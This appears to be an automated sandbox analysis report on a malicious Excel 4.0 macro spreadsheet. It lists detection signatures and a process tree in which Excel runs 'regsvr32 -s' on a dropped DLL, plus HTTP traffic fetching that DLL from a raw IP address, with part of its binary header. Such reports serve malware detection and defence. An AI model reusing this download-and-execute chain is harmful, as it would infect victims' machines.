Loading ...

Play interactive tourEdit tour

Analysis Report Delivery_Information_7038598.xlsb

Overview

General Information

Sample Name:Delivery_Information_7038598.xlsb
Analysis ID:432152
MD5:aa12a71a4c31152958b75aa2cc0dd605
SHA1:1709bd79ab07bc915d19b351a0c6000fafb91d70
SHA256:201d6c214af9eea64e1882a17b2b14a789c50aa6202192b5474cd890bae4f1bf
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:88
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Document exploit detected (creates forbidden files)
Document exploit detected (drops PE files)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Drops PE files to the user root directory
Found Excel 4.0 Macro with suspicious formulas
Office process drops PE file
Sigma detected: Microsoft Office Product Spawning Windows Shell
Checks if the current process is being debugged
Downloads executable code via HTTP
Drops PE files
Drops PE files to the user directory
Found dropped PE file which has not been started or loaded
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Xls With Macro 4.0

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 6536 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • regsvr32.exe (PID: 3144 cmdline: regsvr32 -s ..\kdldyeff.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
app.xmlJoeSecurity_XlsWithMacro4Yara detected Xls With Macro 4.0Joe Security

    Sigma Overview

    System Summary:

    barindex
    Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
    Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 -s ..\kdldyeff.dll, CommandLine: regsvr32 -s ..\kdldyeff.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 6536, ProcessCommandLine: regsvr32 -s ..\kdldyeff.dll, ProcessId: 3144

    Signature Overview

    Click to jump to signature section

    Show All Signature Results
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior

    Software Vulnerabilities:

    barindex
    Document exploit detected (creates forbidden files)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sat1_0609_2[1].dllJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\kdldyeff.dllJump to behavior
    Document exploit detected (drops PE files)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: sat1_0609_2[1].dll.0.drJump to dropped file
    Document exploit detected (UrlDownloadToFile)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileAJump to behavior
    Document exploit detected (process start blacklist hit)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe
    Source: global trafficTCP traffic: 192.168.2.4:49747 -> 185.180.199.121:80
    Source: global trafficTCP traffic: 192.168.2.4:49747 -> 185.180.199.121:80
    Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 09 Jun 2021 17:46:14 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.3.28Last-Modified: Wed, 09 Jun 2021 13:51:29 GMTETag: "62de0-5c4559247da40"Accept-Ranges: bytesContent-Length: 404960Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 b6 fb 1c 25 d7 95 4f 25 d7 95 4f 25 d7 95 4f 4a a1 0b 4f 3f d7 95 4f 4a a1 3f 4f a7 d7 95 4f 2c af 06 4f 22 d7 95 4f 25 d7 94 4f 7f d7 95 4f 4a a1 3e 4f 0a d7 95 4f 4a a1 0e 4f 24 d7 95 4f 4a a1 0f 4f 24 d7 95 4f 4a a1 08 4f 24 d7 95 4f 52 69 63 68 25 d7 95 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ed c3 c0 60 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0a 00 00 7a 01 00 00 8c 04 00 00 00 00 00 c1 73 00 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 06 00 00 04 00 00 c7 7b 06 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 e9 01 00 51 00 00 00 34 e2 01 00 50 00 00 00 00 30 02 00 00 f6 03 00 00 00 00 00 00 00 00 00 00 0a 06 00 e0 23 00 00 00 30 06 00 e4 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 cd 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7d 79 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 41 5a 00 00 00 90 01 00 00 5c 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 39 00 00 00 f0 01 00 00 1a 00 00 00 da 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 f6 03 00 00 30 02 00 00 f6 03 00 00 f4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 9a 1f 00 00 00 30 06 00 00 20 00 00 00 ea 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Source: global trafficHTTP traffic detected: GET /sat1_0609_2.dll HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.180.199.121Connection: Keep-Alive
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: unknownTCP traffic detected without corresponding DNS query: 185.180.199.121
    Source: global trafficHTTP traffic detected: GET /sat1_0609_2.dll HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.180.199.121Connection: Keep-Alive
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://ocsp.comodoca.com0
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://ocsp.digicert.com0C
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://ocsp.digicert.com0O
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://ocsp.sectigo.com0
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: http://www.digicert.com/CPS0
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.aadrm.com/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.addins.store.office.com/app/query
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.cortana.ai
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.diagnostics.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.microsoftstream.com/api/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.office.net
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.onedrive.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://apis.live.net/v5.0/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://augloop.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://augloop.office.com/v2
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://cdn.entity.
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://clients.config.office.net/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://config.edge.skype.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://cortana.ai
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://cortana.ai/api
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://cr.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://dataservice.o365filtering.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://dataservice.o365filtering.com/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://dev.cortana.ai
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://devnull.onenote.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://directory.services.
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://graph.ppe.windows.net
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://graph.ppe.windows.net/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://graph.windows.net
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://graph.windows.net/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://incidents.diagnostics.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://lifecycle.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://login.microsoftonline.com/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://login.windows.local
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://management.azure.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://management.azure.com/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://messaging.office.com/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://ncus.contentsync.
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://ncus.pagecontentsync.
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://officeapps.live.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://onedrive.live.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://onedrive.live.com/embed?
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://outlook.office.com/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://outlook.office365.com/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
